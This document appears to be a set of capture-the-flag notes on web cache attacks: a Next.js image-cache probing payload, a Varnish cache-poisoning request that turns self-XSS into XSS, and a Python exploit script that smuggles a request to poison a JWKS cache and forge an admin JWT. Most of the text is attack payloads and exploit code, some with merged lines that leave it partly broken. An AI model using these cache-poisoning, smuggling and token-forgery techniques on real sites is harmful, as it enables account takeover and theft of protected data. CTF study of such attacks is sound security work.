Cache probing attack in nextjs special path _next/image
| Event Name |
DiceCTF Quals 2025 |
| GitHub URL |
- |
| Challenge Name |
old-site-b-side |
- register -> send payload
<?><img src=http://localhost:3000/_next/image?url=/api/me/badge&w=640&q=1>
- serving and send the url of this html to the bot
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script>
for (let i = 0; i < 100; i++) {
open("<http://localhost:3000/>")
}
</script>
</body>
</html>
- access https://old-site-b-side-67db156495d8575a.dicec.tf/_next/image?url=/api/me/badge&w=640&q=1 to get gif flag
Cache Poisoning in VCL can escalate self XSS to XSS
GET /note/126588202765/long?.js HTTP/2
Host: b5b5616f803aea138236147c5301829b-44533.inst1.chal-kalmarc.tf
Cookie: session=eyJ1c2VyX2lkIjoyfQ.Z8_7DQ.1KQIw30edxTFfpnn0WJ60HpSlTw
sub vcl_recv {
if (req.url ~ "\.(js|css|png|gif)$") {
set req.http.Cache-Control = "max-age=10";
return (hash);
}
}
Chunky (Unitended) (SekaiCTF
cache poisoning using request smuglingchunky unintended:
GET /{user_id}/.well-known/jwks.json /../../..{post_url}
server thinks its http/0.9 and it caches the response no
transfer-encoding stuff needed.
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json
import httpx
from pwn import *# URL = "<http://localhost:8080>"URL = "<http://chunky.chals.sekai.team:8080/>"context.log_level = logging.INFO
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.Client(base_url=url)
class UtilsAPI(BaseAPI):
def __init__(self, url=URL) -> None:
self.private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048 )
self.public_key = self.private_key.public_key()
super().__init__(url)
def generate_jwks(self):
pem = self.public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo,
)
x5c = pem.decode().split("-----")[2].strip()
jwks = {
"keys": [
{
"alg": "RS256",
"x5c": [x5c]
}
]
}
return jwks
def get_private_key_pem(self):
private_key_pem = self.private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption()
)
return private_key_pem
def send_raw(s, raw):
r = remote(s.c.base_url.host, s.c.base_url.port)
r.send(raw)
return r.recv(4092).decode().replace("\r\n", "\n")
class API(UtilsAPI):
def signup(s, username, password):
return s.c.post("/signup", data={
"username": username,
"password": password
})
def login(s, username, password):
return s.c.post("/login", data={
"username": username,
"password": password
})
def create_post(s, title, content):
return s.c.post("/create_post", data={
"title": title,
"content": content
})
def flag(s, auth):
return s.c.get("/admin/flag", headers={
"Authorization": "Bearer "+auth
})
if __name__ == "__main__":
api = API()
username = "dimas" password = "dimas" api.signup(username, password)
api.login(username, password)
title = json.dumps(api.generate_jwks())
payload = f"""\HTTP/1.1 200 OkContent-Type: application/jsonContent-Length: {len(title)}Connection: close\r{title}""" res = api.create_post(payload, "")
location = res.headers['location']
log.info("Location: %s", location)
userid = location.split("/")[-2]
log.info("User Id: %s", userid)
raw = f"""\GET /{userid}/.well-known/jwks.json /../../..{location}host: xConnection: close\r""".encode()
# send cache poisoning api.send_raw(raw)
auth = jwt.encode(
payload={"user": "admin"},
key=api.get_private_key_pem(),
algorithm="RS256" ).decode()
res = api.flag(auth)
print(res.text)